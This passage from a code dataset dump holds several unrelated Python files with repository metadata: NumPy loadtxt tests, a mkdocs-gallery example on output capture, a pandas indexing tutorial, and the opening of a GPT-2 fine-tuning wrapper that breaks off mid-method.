test_not_an_filelike(self):\n        with pytest.raises(AttributeError, match=\".*read\"):\n            np.core._multiarray_umath._load_from_filelike(\n                object(), dtype=np.dtype(\"i\"), filelike=True)\n\n    def test_filelike_read_fails(self):\n        # Can only be reached if loadtxt opens the file, so it is hard to do\n        # via the public interface (although maybe not impossible considering\n        # the current \"DataClass\" backing).\n        class BadFileLike:\n            counter = 0\n\n            def read(self, size):\n                self.counter += 1\n                if self.counter > 20:\n                    raise RuntimeError(\"Bad bad bad!\")\n                return \"1,2,3\\n\"\n\n        with pytest.raises(RuntimeError, match=\"Bad bad bad!\"):\n            np.core._multiarray_umath._load_from_filelike(\n                BadFileLike(), dtype=np.dtype(\"i\"), filelike=True)\n\n    def test_filelike_bad_read(self):\n        # Can only be reached if loadtxt opens the file, so it is hard to do\n        # via the public interface (although maybe not impossible considering\n        # the current \"DataClass\" backing).\n\n        class BadFileLike:\n            counter = 0\n\n            def read(self, size):\n                return 1234  # not a string!\n\n        with pytest.raises(TypeError,\n                    match=\"non-string returned while reading data\"):\n            np.core._multiarray_umath._load_from_filelike(\n                BadFileLike(), dtype=np.dtype(\"i\"), filelike=True)\n\n    def test_not_an_iter(self):\n        with pytest.raises(TypeError,\n                    match=\"error reading from object, expected an iterable\"):\n            np.core._multiarray_umath._load_from_filelike(\n                object(), dtype=np.dtype(\"i\"), filelike=False)\n\n    def test_bad_type(self):\n        with pytest.raises(TypeError, match=\"internal error: dtype must\"):\n            np.core._multiarray_umath._load_from_filelike(\n                object(), dtype=\"i\", filelike=False)\n\n    def test_bad_encoding(self):\n        with pytest.raises(TypeError, match=\"encoding must be a unicode\"):\n            np.core._multiarray_umath._load_from_filelike(\n                object(), dtype=np.dtype(\"i\"), filelike=False, encoding=123)\n\n    @pytest.mark.parametrize(\"newline\", [\"\\r\", \"\\n\", \"\\r\\n\"])\n    def test_manual_universal_newlines(self, newline):\n        # This is currently not available to users, because we should always\n        # open files with universal newlines enabled `newlines=None`.\n        # (And reading from an iterator uses slightly different code paths.)\n        # We have no real support for `newline=\"\\r\"` or `newline=\"\\n\" as the\n        # user cannot specify those options.\n        data = StringIO('0\\n1\\n\"2\\n\"\\n3\\n4 #\\n'.replace(\"\\n\", newline),\n                        newline=\"\")\n\n        res = np.core._multiarray_umath._load_from_filelike(\n            data, dtype=np.dtype(\"U10\"), filelike=True,\n            quote='\"', comment=\"#\", skiplines=1)\n        assert_array_equal(res[:, 0], [\"1\", f\"2{newline}\", \"3\", \"4 \"])\n\n\ndef test_delimiter_comment_collision_raises():\n    with pytest.raises(TypeError, match=\".*control characters.*incompatible\"):\n        np.loadtxt(StringIO(\"1, 2, 3\"), delimiter=\",\", comments=\",\")\n\n\ndef test_delimiter_quotechar_collision_raises():\n    with pytest.raises(TypeError, match=\".*control characters.*incompatible\"):\n        np.loadtxt(StringIO(\"1, 2, 3\"), delimiter=\",\", quotechar=\",\")\n\n\ndef test_comment_quotechar_collision_raises():\n    with pytest.raises(TypeError, match=\".*control characters.*incompatible\"):\n        np.loadtxt(StringIO(\"1 2 3\"), comments=\"#\", quotechar=\"#\")\n\n\ndef test_delimiter_and_multiple_comments_collision_raises():\n    with pytest.raises(\n        TypeError, match=\"Comment characters.*cannot include the delimiter\"\n    ):\n        np.loadtxt(StringIO(\"1, 2, 3\"), delimiter=\",\", comments=[\"#\", \",\"])\n\n\n@pytest.mark.parametrize(\n    \"ws\",\n    (\n        \" \",  # space\n        \"\\t\",  # tab\n        \"\\u2003\",  # em\n        \"\\u00A0\",  # non-break\n        \"\\u3000\",  # ideographic space\n    )\n)\ndef test_collision_with_default_delimiter_raises(ws):\n    with pytest.raises(TypeError, match=\".*control characters.*incompatible\"):\n        np.loadtxt(StringIO(f\"1{ws}2{ws}3\\n4{ws}5{ws}6\\n\"), comments=ws)\n    with pytest.raises(TypeError, match=\".*control characters.*incompatible\"):\n        np.loadtxt(StringIO(f\"1{ws}2{ws}3\\n4{ws}5{ws}6\\n\"), quotechar=ws)\n\n\n@pytest.mark.parametrize(\"nl\", (\"\\n\", \"\\r\"))\ndef test_control_character_newline_raises(nl):\n    txt = StringIO(f\"1{nl}2{nl}3{nl}{nl}4{nl}5{nl}6{nl}{nl}\")\n    msg = \"control character.*cannot be a newline\"\n    with pytest.raises(TypeError, match=msg):\n        np.loadtxt(txt, delimiter=nl)\n    with pytest.raises(TypeError, match=msg):\n        np.loadtxt(txt, comments=nl)\n    with pytest.raises(TypeError, match=msg):\n        np.loadtxt(txt, quotechar=nl)\n\n\n@pytest.mark.parametrize(\n    (\"generic_data\", \"long_datum\", \"unitless_dtype\", \"expected_dtype\"),\n    [\n        (\"2012-03\", \"2013-01-15\", \"M8\", \"M8[D]\"),  # Datetimes\n        (\"spam-a-lot\", \"tis_but_a_scratch\", \"U\", \"U17\"),  # str\n    ],\n)\n@pytest.mark.parametrize(\"nrows\", (10, 50000, 60000))  # lt, eq, gt chunksize\ndef test_parametric_unit_discovery(\n    generic_data, long_datum, unitless_dtype, expected_dtype, nrows\n):\n    \"\"\"Check that the correct unit (e.g. month, day, second) is discovered from\n    the data when a user specifies a unitless datetime.\"\"\"\n    # Unit should be \"D\" (days) due to last entry\n    data = [generic_data] * 50000 + [long_datum]\n    expected = np.array(data, dtype=expected_dtype)\n\n    # file-like path\n    txt = StringIO(\"\\n\".join(data))\n    a = np.loadtxt(txt, dtype=unitless_dtype)\n    assert a.dtype == expected.dtype\n    assert_equal(a, expected)\n\n    # file-obj path\n    fd, fname = mkstemp()\n    with open(fname, \"w\") as fh:\n        fh.write(\"\\n\".join(data))\n    a = np.loadtxt(fname, dtype=unitless_dtype)\n    assert a.dtype == expected.dtype\n    assert_equal(a, expected)\n\n\ndef test_str_dtype_unit_discovery_with_converter():\n    data = [\"spam-a-lot\"] * 60000 + [\"XXXtis_but_a_scratch\"]\n    expected = np.array(\n        [\"spam-a-lot\"] * 60000 + [\"tis_but_a_scratch\"], dtype=\"U17\"\n    )\n    conv = lambda s: s.strip(\"XXX\")\n\n    # file-like path\n    txt = StringIO(\"\\n\".join(data))\n    a = np.loadtxt(txt, dtype=\"U\", converters=conv, encoding=None)\n    assert a.dtype == expected.dtype\n    assert_equal(a, expected)\n\n    # file-obj path\n    fd, fname = mkstemp()\n    with open(fname, \"w\") as fh:\n        fh.write(\"\\n\".join(data))\n    a = np.loadtxt(fname, dtype=\"U\", converters=conv, encoding=None)\n    assert a.dtype == expected.dtype\n    assert_equal(a, expected)\n\n\n@pytest.mark.skipif(IS_PYPY and sys.implementation.version <= (7, 3, 8),\n                    reason=\"PyPy bug in error formatting\")\ndef test_control_character_empty():\n    with pytest.raises(TypeError, match=\"Text reading control character must\"):\n        np.loadtxt(StringIO(\"1 2 3\"), delimiter=\"\")\n    with pytest.raises(TypeError, match=\"Text reading control character must\"):\n        np.loadtxt(StringIO(\"1 2 3\"), quotechar=\"\")\n    with pytest.raises(ValueError, match=\"comments cannot be an empty string\"):\n        np.loadtxt(StringIO(\"1 2 3\"), comments=\"\")\n    with pytest.raises(ValueError, match=\"comments cannot be an empty string\"):\n        np.loadtxt(StringIO(\"1 2 3\"), comments=[\"#\", \"\"])\n\n\ndef test_control_characters_as_bytes():\n    \"\"\"Byte control characters (comments, delimiter) are supported.\"\"\"\n    a = np.loadtxt(StringIO(\"#header\\n1,2,3\"), comments=b\"#\", delimiter=b\",\")\n    assert_equal(a, [1, 2, 3])\n", "meta": {"hexsha": "cca328b1632cba851f9e1bc2a82748bcd4d54cce", "size": 37062, "ext": "py", "lang": "Python", "max_stars_repo_path": "numpy/lib/tests/test_loadtxt.py", "max_stars_repo_name": "poolakit/numpy", "max_stars_repo_head_hexsha": "211111082d1ee21492a1704699ea4b17c4a64ead", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "numpy/lib/tests/test_loadtxt.py", "max_issues_repo_name": "poolakit/numpy", "max_issues_repo_head_hexsha": "211111082d1ee21492a1704699ea4b17c4a64ead", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "numpy/lib/tests/test_loadtxt.py", "max_forks_repo_name": "poolakit/numpy", "max_forks_repo_head_hexsha": "211111082d1ee21492a1704699ea4b17c4a64ead", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 36.9511465603, "max_line_length": 79, "alphanum_fraction": 0.6146727106, "include": true, "reason": "import numpy,from numpy", "num_tokens": 10555, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4921881357207956, "lm_q2_score": 0.15002882054202774, "lm_q1q2_score": 0.07384240548697044}}
{"text": "# -*- coding: utf-8 -*-\n\"\"\"\nCapturing output representations\n================================\n\nThis example demonstrates how the `capture_repr` configuration option\n([Controlling what output is captured](https://sphinx-gallery.github.io/stable/configuration.html#capture-repr))\n works. The default `capture_repr` setting is\n`('_repr_html_', '__repr__')` and was used to build this\nMkdocs-Gallery documentation. The output that is captured with this setting\nis demonstrated in this example. Differences in outputs that would be captured\nwith other `capture_repr` settings are also explained.\n\"\"\"\n#%%\n# Nothing is captured for the code block below because no data is directed to\n# standard output and the last statement is an assignment, not an expression.\n\n# example 1\na = 2\nb = 10\n\n#%%\n# If you did wish to capture the value of `b`, you would need to use:\n\n# example 2\na = 2\nb = 10\nb   # this is an expression\n\n#%%\n# Mkdocs-Gallery first attempts to capture the `_repr_html_` of `b` as this\n# is the first 'representation' method in the `capture_repr` tuple. As this\n# method does not exist for `b`, Mkdocs-Gallery moves on and tries to capture\n# the `__repr__` method, which is second in the tuple. This does exist for\n# `b` so it is captured and the output is seen above.\n#\n# A pandas dataframe is used in the code block below to provide an example of\n# an expression with a `_repr_html_` method.\n\n# example 3\nimport pandas as pd\n\ndf = pd.DataFrame(data = {'col1': [1, 2], 'col2': [3, 4]})\ndf\n\n#%%\n# The pandas dataframe `df` has both a `__repr__` and `_repr_html_`\n# method. As `_repr_html_` appears first in the `capture_repr` tuple, the\n# `_repr_html_` is captured in preference to `__repr__`.\n#\n# Statsmodels tables should also be styled appropriately:\n\n# example 4\nimport numpy as np\nimport statsmodels.iolib.table\nstatsmodels.iolib.table.SimpleTable(np.zeros((3, 3)))\n\n#%%\n# For the example below, there is data directed to standard output and the last\n# statement is an expression.\n\n# example 5\nprint('Hello world')\na + b\n\n#%%\n# `print()` outputs to standard output, which is always captured. The\n# string `'Hello world'` is thus captured. A 'representation' of the last\n# expression is also captured. Again, since this expression `a + b` does not\n# have a `_repr_html_` method, the `__repr__` method is captured.\n#\n#\n# Matplotlib output\n# -----------------\n#\n# Matplotlib function calls generally return a Matplotlib object as well as\n# outputting the figure. For code blocks where the last statement is a\n# Matplotlib expression, a 'representation' of the object will be captured, as\n# well as the plot. This is because Matplotlib objects have a `__repr__`\n# method and our `capture_repr` tuple contains `__repr__`. Note that\n# Matplotlib objects also have a `__str__` method.\n#\n# In the example below, `matplotlib.pyplot.plot()` returns a list of\n# `Line2D` objects representing the plotted data and the `__repr__` of the\n# list is captured as well as the figure:\n\nimport matplotlib.pyplot as plt\n\nplt.plot([1,2,3])\n\n#%%\n# To avoid capturing the text representation, you can assign the last Matplotlib\n# expression to a temporary variable:\n\n_ = plt.plot([1,2,3])\n\n#%%\n# Alternatively, you can add `plt.show()`, which does not return anything,\n# to the end of the code block:\n\nplt.plot([1,2,3])\nplt.show()\n\n#%%\n# The `capture_repr` configuration\n# --------------------------------\n#\n# The `capture_repr` configuration is `('_repr_html_', '__repr__')` by\n# default. This directs Mkdocs-Gallery to capture 'representations' of the last\n# statement of a code block, if it is an expression. Mkdocs-Gallery does\n# this according to the order 'representations' appear in the tuple.\n#\n# With the default `capture_repr` setting, `_repr_html_` is attempted to be\n# captured first. If this method does not exist, the `__repr__` method would be\n# captured. If the `__repr__` also does not exist (unlikely for non-user\n# defined objects), nothing would be captured. For example, if the the\n# configuration was set to `'capture_repr': ('_repr_html_')` nothing would be\n# captured for example 2 as `b` does not have a `_repr_html_`.\n# You can change the 'representations' in the `capture_repr` tuple to finely\n# tune what is captured in your example `.py` files.\n#\n# To only capture data directed to standard output you can set `capture_repr`\n# to be an empty tuple: `capture_repr: ()`. With this setting, only data\n# directed to standard output is captured. For the examples above, output would\n# only be captured for example 4. Although the last statement is an expression\n# for examples 2, 3 and 4 no 'representation' of the last expression would be\n# output. You would need to add `print()` to the last expression to capture\n# a 'representation' of it.\n#\n# The empty tuple setting imitates the behaviour of Sphinx-Gallery prior to\n# v0.5.0, when this configuration was introduced.\n", "meta": {"hexsha": "ce00fc544338daf2bdd561b0019777130f607941", "size": 4882, "ext": "py", "lang": "Python", "max_stars_repo_path": "docs/examples/plot_3_capture_repr.py", "max_stars_repo_name": "mchaaler/mkdocs-gallery", "max_stars_repo_head_hexsha": "48a96bd32eb036b1ef82b64b4ef79a76c499eea9", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 9, "max_stars_repo_stars_event_min_datetime": "2021-12-14T17:03:13.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-26T17:16:26.000Z", "max_issues_repo_path": "docs/examples/plot_3_capture_repr.py", "max_issues_repo_name": "mchaaler/mkdocs-gallery", "max_issues_repo_head_hexsha": "48a96bd32eb036b1ef82b64b4ef79a76c499eea9", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 40, "max_issues_repo_issues_event_min_datetime": "2021-12-09T08:09:03.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-30T21:29:34.000Z", "max_forks_repo_path": "docs/examples/plot_3_capture_repr.py", "max_forks_repo_name": "mchaaler/mkdocs-gallery", "max_forks_repo_head_hexsha": "48a96bd32eb036b1ef82b64b4ef79a76c499eea9", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2022-01-26T20:59:40.000Z", "max_forks_repo_forks_event_max_datetime": "2022-01-26T20:59:40.000Z", "avg_line_length": 36.9848484848, "max_line_length": 112, "alphanum_fraction": 0.7312576813, "include": true, "reason": "import numpy,import statsmodels", "num_tokens": 1234, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3702253925955866, "lm_q2_score": 0.199307995526054, "lm_q1q2_score": 0.07378888089107276}}
{"text": "#%%\r\nimport pandas as pd\r\nser_obj = pd.Series(range(10, 20))\r\nprint(ser_obj)\r\n# \u83b7\u53d6\u6570\u636e\r\nprint(ser_obj.values)\r\nprint('* '* 50)\r\n# \u83b7\u53d6\u7d22\u5f15\r\nprint(ser_obj.index)\r\nprint('* '* 50)\r\n#%%\r\nprint(ser_obj * 2)\r\nprint('* '* 50)\r\nprint(ser_obj > 15)\r\nprint('* '* 50)\r\n#%%\r\nyear_data = {2001: 17.8, 2005: 20.1, 2003: 16.5}\r\nser_obj2 = pd.Series(year_data)\r\nprint(ser_obj2)\r\nprint('* '* 50)\r\nprint(ser_obj2.index)\r\nprint('* '* 50)\r\nprint(ser_obj2[2001])\r\nprint('* '* 50)\r\n\r\n#%%\r\nprint(ser_obj2.name)\r\nprint('* '* 50)\r\nser_obj2.name = 'temp'\r\nprint(ser_obj2.index.name)\r\nprint('* '* 50)\r\nser_obj2.index.name = 'year1'\r\nprint(ser_obj2.head())\r\nprint('* '* 50)\r\n\r\n#%% md\r\n# DataFrame\r\n#%%\r\nd2 =[{\"name\" : \"xiaohong\" ,\"age\" :32,\"tel\" :10010},{ \"name\": \"xiaogang\" ,\"tel\": 10000} ,{\"name\":\"xiaowang\" ,\"age\":22}]\r\ndf6=pd.DataFrame(d2)\r\n\r\nprint(df6)\r\nprint('* '* 50)\r\n#%%\r\nimport pandas as pd\r\nimport numpy as np\r\ndict_data = {'A': 1,\r\n             'B': pd.Timestamp('20190926'),\r\n             'C': pd.Series(1, index=list(range(4)),dtype='float32'),\r\n             'D': np.array([3] * 4,dtype='int32'),\r\n             'E': [\"Python\",\"Java\",\"C++\",\"C\"],\r\n             'F': 'wangdao' }\r\ndf_obj2 = pd.DataFrame(dict_data)\r\nprint(df_obj2)\r\nprint('* '* 50)\r\n\r\nprint(df_obj2.index)\r\nprint('* '* 50)\r\n# df_obj2.index[0] = 2\r\n#%%\r\ndates = pd.date_range('20130101', periods=6)\r\ndf = pd.DataFrame(np.random.randn(6, 4), index=dates, columns=list('ABCD'))\r\n\r\nprint(df)\r\nprint('* '* 50)\r\n#%%\r\nprint(df_obj2['A'])\r\nprint('* '* 50)\r\n#\u628adf\u7684\u67d0\u4e00\u5217\u53d6\u51fa\u6765\u662fseries\r\nprint(type(df_obj2['A']))\r\nprint('* '* 50)\r\n#%%\r\n#\u589e\u52a0\u5217\u6570\u636e\r\ndf_obj2['G'] = df_obj2['D'] + 4\r\nprint(df_obj2.head())\r\nprint('* '* 50)\r\n#%%\r\n# \u5220\u9664\u5217\r\ndel(df_obj2['G'] )\r\nprint(df_obj2.head())\r\nprint('* '* 50)\r\n#%% md\r\n# 4 Pandas\u7684\u7d22\u5f15\u64cd\u4f5c\r\n#%%\r\nprint(df_obj2.index)\r\nprint('* '* 50)\r\n#%%\r\n# \u7d22\u5f15\u5bf9\u8c61\u4e0d\u53ef\u53d8\uff08\u4e0a\u9762\u4ee3\u7801\u589e\u52a0\uff09\r\n# df_obj2.index[0] = 2\r\n#%% md\r\n# 3 \u5e38\u89c1\u7684Index\u79cd\u7c7b\r\n# \u2022Index\uff0c\u7d22\u5f15\r\n# \u2022Int64Index\uff0c\u6574\u6570\u7d22\u5f15\r\n# \u2022MultiIndex\uff0c\u5c42\u7ea7\u7d22\u5f15\r\n# \u2022DatetimeIndex\uff0c\u65f6\u95f4\u6233\u7c7b\u578b\r\n#%%\r\nser_obj = pd.Series(range(5), index = list(\"abcde\"))\r\nprint(ser_obj)\r\nprint('* '* 50)\r\nser_obj.index\r\n#%%\r\n# \u884c\u7d22\u5f15\r\nprint(ser_obj['b'])\r\nprint('* '* 50)\r\nprint(ser_obj[2])\r\nprint('* '* 50)\r\n#%%\r\n# \u5207\u7247\u7d22\u5f15\r\nprint(ser_obj[1:3])\r\nprint('* '* 50)\r\nprint(ser_obj['b':'d'])\r\nprint('* '* 50)\r\n#%%\r\n# \u4e0d\u8fde\u7eed\u7d22\u5f15\r\nprint(ser_obj[[0, 2, 4]])\r\nprint('* '* 50)\r\nprint(ser_obj[['a', 'e']])\r\nprint('* '* 50)\r\n#%%\r\n# \u5e03\u5c14\u7d22\u5f15\r\nser_bool = ser_obj > 2\r\nprint(ser_bool)\r\nprint('* '* 50)\r\nprint(ser_obj[ser_bool])\r\nprint('* '* 50)\r\n\r\nprint(ser_obj[ser_obj > 2])\r\nprint('* '* 50)\r\n#%% md\r\n# 4 DataFrame\u7d22\u5f15\r\n#%%\r\nimport numpy as np\r\ndf_obj = pd.DataFrame(np.random.randn(5,4), columns = ['a', 'b', 'c', 'd'])\r\nprint(df_obj.head())\r\nprint('* '* 50)\r\n#%%\r\n# \u5217\u7d22\u5f15\r\nprint(df_obj['a']) # \u8fd4\u56deSeries\u7c7b\u578b\r\nprint('* '* 50)\r\nprint(df_obj[['a']]) # \u8fd4\u56deDataFrame\u7c7b\u578b\r\nprint('* '* 50)\r\nprint(type(df_obj[['a']])) # \u8fd4\u56deDataFrame\u7c7b\u578b\r\nprint('* '* 50)\r\n#%% md\r\n# 1. loc \u6807\u7b7e\u7d22\u5f15\r\n#%%\r\n# \u6807\u7b7e\u7d22\u5f15 loc\r\n# Series\r\nprint(ser_obj)\r\nprint(ser_obj['b':'d'])\r\nprint(ser_obj.loc['b':'d'])\r\n\r\n# DataFrame\r\ndf_obj = pd.DataFrame(np.random.randn(5,4), columns = ['a', 'b', 'c', 'd'],index=list('abcde'))\r\nprint(df_obj['a'])\r\nprint('-'*50)\r\nprint(df_obj.loc['a'])\r\nprint('-'*50)\r\n# \u7b2c\u4e00\u4e2a\u53c2\u6570\u7d22\u5f15\u884c\uff0c\u7b2c\u4e8c\u4e2a\u53c2\u6570\u662f\u5217,loc\u6216\u8005iloc\u6548\u7387\u9ad8\u4e8e\u76f4\u63a5\u7528\u53d6\u4e0b\u6807\u7684\u65b9\u5f0f\r\nprint(df_obj.loc['a':'c', 'a':'c'])\r\n#%% md\r\n# iloc \u4f4d\u7f6e\u7d22\u5f15\r\n#%%\r\n# Series\r\nprint(ser_obj[1:3])\r\nprint(ser_obj.iloc[1:3])\r\n\r\n# DataFrame\r\nprint(df_obj.iloc[0:2, 0:2]) # \u6ce8\u610f\u548cdf_obj.loc[0:2, 'a']\u7684\u533a\u522b\r\n#%% md", "meta": {"hexsha": "6ca46226105006a81f30f56d06d5ddd3dea2a34e", "size": 3376, "ext": "py", "lang": "Python", "max_stars_repo_path": "FYR.py", "max_stars_repo_name": "heterogenousok/data-analysis-pandas", "max_stars_repo_head_hexsha": "6198c547f804f99e3a08b547a3f14119130a206b", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "FYR.py", "max_issues_repo_name": "heterogenousok/data-analysis-pandas", "max_issues_repo_head_hexsha": "6198c547f804f99e3a08b547a3f14119130a206b", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "FYR.py", "max_forks_repo_name": "heterogenousok/data-analysis-pandas", "max_forks_repo_head_hexsha": "6198c547f804f99e3a08b547a3f14119130a206b", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 19.8588235294, "max_line_length": 119, "alphanum_fraction": 0.5651658768, "include": true, "reason": "import numpy", "num_tokens": 1270, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3738758227716966, "lm_q2_score": 0.19682620599875827, "lm_q1q2_score": 0.0735885597108172}}
{"text": "from collections import Counter\nfrom pytorch_transformers import GPT2Tokenizer, GPT2LMHeadModel\nfrom pytorch_transformers import AdamW, WarmupLinearSchedule\nimport torch.nn.functional as F\nimport numpy as np\nimport torch\nfrom torch.utils.data import Dataset\nimport time\nimport csv\nimport json\n\n\n\nclass GPT2:\n    \"\"\"\n        High level interface for PyTorch's GPT-2 implementation.\n        Parameters\n        ----------\n        fileName: string\n            The path to the file (txt, json, csv)\n        \n        taskToken: string\n            GPT-2 expects a task name for generation. For example, for movie titles, this can be \"Movie: \"\n            It will be treated as a fill in the blank task.\n        \n        epochs: int\n            The number of cycles over the training data.\n\n        variant: string, default \"small\"\n            The variant of GPT-2 to use. This can be \"small\", \"medium\", \"large\"\n\n        batchSize: int, default 16\n            The number of training instances per iteration.\n\n        eos: string, default \"<|endoftext|>\"\n            The end-of-sentence token.\n\n        instanceMxLen: int, default None\n            Max length of each document.\n\n        txtSeparator: str, optional, default '\\n'   \n            When the data file is a txt file, this is the character serparating documents.\n            By default, the assumption is that each document is on a separate line.\n\n        csvIndex: int, optional, default None\n            When the data file is a csv file, this is the index of the column to parse from.\n\n        jsonKey: str, optional, default None\n            When the data file is a csv file, this is the json key to parse from.\n            Typically, it is 'body' or 'text'.\n\n        seedParams: dict, optional, default {'N_first': 1, 'minFreq': 5}\n            Parameters that will be used while selecting the random seed used to initalize prediction.\n                N_first: get the first n_first tokens of each training document.\n                minFreq: The min frequency a seed must have before it is included in the pool. \n\n                By default random seed is enabled. If seedParams = {} then static seed will be applied.\n\n        optimParams: dict, default {\"lr\" : 3e-4}\n            The optimizer paramters.\n\n        schedParams: dict, default {\"warmup_steps\" : 400}\n            The scheduler paramters.\n\n\n    \"\"\"\n\n    def __init__(self, fileName,\n                        taskToken,\n                        epochs,\n                        variant = \"small\",\n                        batchSize = 32,\n                        eos = \"<|endoftext|>\",\n                        instanceMxLen = None,\n                        txtSeparator = '\\n',\n                        csvIndex = None,\n                        jsonKey = None,\n                        seedParams = {'N_first': 1, 'minFreq': 5},\n                        optimParams = {\"lr\" : 3e-4},\n                        schedParams = {\"warmup_steps\" : 400}):\n\n        self.device =  torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\n        # To be set by the user\n        self.csvIndex = csvIndex\n        self.jsonKey = jsonKey\n        self.txtSeparator = txtSeparator\n        self.eos = eos\n        self.taskToken = taskToken\n        self.optimParams = optimParams\n        self.schedParams = schedParams\n\n        self.epochs = self.__checkIntParam(epochs, \"epochs\")\n        self.batchSize = self.__checkIntParam(batchSize, \"batchSize\")\n        self.fileName = self.__checkFileName(fileName)\n        self.instanceMxLen = instanceMxLen\n        self.seedParams = self.__checkSeedParams(seedParams)\n        self.variant = self.__checkVariant(variant)\n\n        self.examples = None\n        self.__text = None\n        self.model = None\n        self.tokenizer = None\n        self.optimizer = None\n        self.scheduler = None\n\n        self.__readFile()\n        self.__get_tokenizer(self.variant)\n        print()\n        self.__get_model(self.variant)\n        self.__get_optimizer()\n        self.__get_scheduler()\n\n\n\n    def __checkIntParam(self, param, name):\n        if sum([type(param) != int, param <= 0]) >= 1:\n            raise Exception(\"Make sure %s is a positive int.\"%name)\n        return param\n\n    def __checkVariant(self, variant):\n        avl = [\"small\", \"medium\", \"large\"]\n        if variant not in avl:\n            raise Exception(\"Available variants are\", \" \".join(avl), \"got\", variant, \"instead\")\n\n        #in PyTorch implementation, small = gpt2, medium = gpt2-medium etc.\n        return \"-\"+variant if variant != \"small\" else \"\"\n\n    def __checkFileName(self, fileName):\n        extension = fileName.split(\".\")[-1]\n        \n        if extension not in ['txt', 'csv', 'json']:\n            raise Exception(\"Only works with txt, csv, and json files.\")\n\n        if extension == 'csv' and self.csvIndex == None:\n            raise Exception(\"Please provide a 'csvIndex' to indicate the column to parse from.\")\n        elif extension == 'json' and self.jsonKey == None:\n            raise Exception(\"Please provide a 'jsonKey' to indicate json key to parse from.\")\n        \n        self.extension = extension\n        return fileName\n\n    def __checkSeedParams(self,params):\n        attr_list = ['N_first', 'minFreq']\n\n        if not len(params):\n            return {}\n        \n        elif not all(attr in params for attr in attr_list):\n            raise Exception(\"seedParams should contain the attributes {attrs}\".format(attrs = attr_list))\n\n        return params\n\n\n    def __readFile(self):\n        file_obj = open(self.fileName)\n\n        if self.extension == \"txt\":\n            self.__text = file_obj.read().split(self.txtSeparator)\n        elif self.extension == \"csv\":\n            reader = csv.reader(file_obj)\n            self.__text = [row[self.csvIndex] for row in reader]\n        else:\n            json_data = json.loads(file_obj.read())\n            self.__text = [row[self.jsonKey] for row in json_data]\n\n        if self.instanceMxLen == None:\n            self.instanceMxLen = len(max(self.__text, key=len))\n        self.examples = [self.taskToken+\" \"+inst+\" \"+self.eos for inst in self.__text \n                            if len(inst)>0 and len(inst)<self.instanceMxLen]\n        self.seeds =  self.__getStartWords()\n\n\n    def __getStartWords(self): \n        n_first = 1 if 'N_first' not in self.seedParams else self.seedParams['N_first']\n\n        start_words = [' '.join(instance.split()[:n_first])\n                           for instance in self.__text\n                           if len(instance.split()) > n_first]\n        \n        freq_start = Counter(start_words)\n        if not len(self.seedParams):\n            word, _ = freq_start.most_common(1)[0]\n            print(\"The word {w} is the Static Seed. \".format(w=word))\n            return {word: 1.0}\n        \n        return {word:freq/len(self.examples) for word,freq  in freq_start.items() if freq >= self.seedParams['minFreq'] }\n\n\n    def getSeed(self):\n        \"\"\"\n            return a weighted seed. \n            In case static seed is enabled, then the most frequent token will be the seed.\n        \"\"\"\n        seeds = list(self.seeds.keys())\n        probs = list(self.seeds.values())\n        return np.random.choice(seeds, 1 , probs).tolist()\n\n    def __get_batches(self):            \n        num_batches = len(self.examples) // self.batchSize\n        for i in range(0, num_batches*self.batchSize, self.batchSize):\n            yield self.examples[i:i+self.batchSize]\n\n    def __encode_batch(self, batch):\n        encoded = torch.Tensor().long().to(self.device)\n        for inst in batch:\n            docTens = torch.tensor(self.tokenizer.encode(inst)).unsqueeze(0).to(self.device)\n            encoded = torch.cat([encoded, docTens[:,1:]], dim=1)\n        return encoded\n\n\n    def __get_optimizer(self):\n        self.optimizer = AdamW(self.model.parameters(), **self.optimParams)\n\n    def __get_model(self, variant):\n        self.model = GPT2LMHeadModel.from_pretrained('gpt2'+variant)\n        self.model = self.model.to(self.device)\n        self.model.train()\n\n    def __get_tokenizer(self, variant):\n        self.tokenizer = GPT2Tokenizer.from_pretrained('gpt2'+variant)\n\n    def __get_scheduler(self):\n        self.scheduler = WarmupLinearSchedule(self.optimizer, t_total = -1, **self.schedParams)\n\n    def choose_from_top(self, probs, n=5):\n        ind = np.argpartition(probs, -n)[-n:]\n        top_prob = probs[ind]\n        top_prob = top_prob / np.sum(top_prob) # Normalize\n        choice = np.random.choice(n, 1, p = top_prob)\n        token_id = ind[choice][0]\n        return token_id\n\n    def select_nucleus(self, out, p = 0.5):\n        probs = F.softmax(out, dim=-1)\n        idxs = torch.argsort(probs, descending = True)\n        res, prob,  cumsum = [], [], 0.\n        for idx in idxs:\n            res.append(idx)\n            prob.append(probs[idx].item())\n            cumsum+=probs[idx]\n            if cumsum>p:\n               break\n        nucleus_prob = prob / np.sum(prob)\n        choice = np.random.choice(res , 1,p = nucleus_prob)[0]\n        return choice\n\n\n    def run(self):\n        sum_loss = 0.0\n        batch_count = 0\n        last_loss = None\n        batches_len = (len(self.examples) // self.batchSize) * self.epochs\n        for e in range(self.epochs):\n            batches = self.__get_batches()\n            batch_times = []\n            for batch in batches:\n      